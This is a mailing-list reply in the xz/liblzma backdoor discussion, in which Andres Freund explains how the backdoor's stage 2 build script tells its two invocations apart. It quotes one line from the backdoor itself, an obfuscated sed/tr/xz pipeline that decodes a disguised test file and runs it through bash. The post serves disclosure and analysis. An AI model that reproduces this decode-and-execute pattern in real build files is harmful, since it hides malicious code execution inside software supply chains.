Re: backdoor in upstream xz/liblzma leading to ssh server compromise

[Andres Freund <andres () anarazel de>]

Hi,

On 2024-03-31 00:13:21 +0100, Rein Fernhout (Levitating) wrote:
> Step 3. ./configure is executed
> Step 4. Stage 2 is run from the context of ./configure
> This doesn't extract liblzma_la-crc64-fast.o yet.
> The stage 2 script detects that the Makefile has not been generated yet.

The makefile already exists at that point. However, the script is invoked with
a different working directory (the root of the build tree) in this
invocation. Because of that it goes down the first "if" branch, as
config.status exists in the root of the build tree, and patches
src/liblzma/Makefile.


> sed rpath ../../../tests/files/bad-3-corrupt_lzma2.xz | tr "   \-_" "         _\-" | xz -d | /bin/bash >/dev/null 2>&1
>
> Which executes stage 1 again! This then loads stage 2 and stage 2 is ran for the second time, but this time within 
> the context of the Makefile.
> This time it actually extracts the object file and does the steps Andres explained here:
> https://www.openwall.com/lists/oss-security/2024/03/30/4

> The first part of the stage 2 script actually tests if config.status is present and if so uses it to set some 
> variables needed for the compilation and extraction.

The test for config.status is actually just there to separate the first from
the second invocation. For the second invocation the working directory is
src/liblzma, where there is no config.status, thus execution goes down the
"else" branch, and extracts the object file etc.

Greetings,

Andres Freund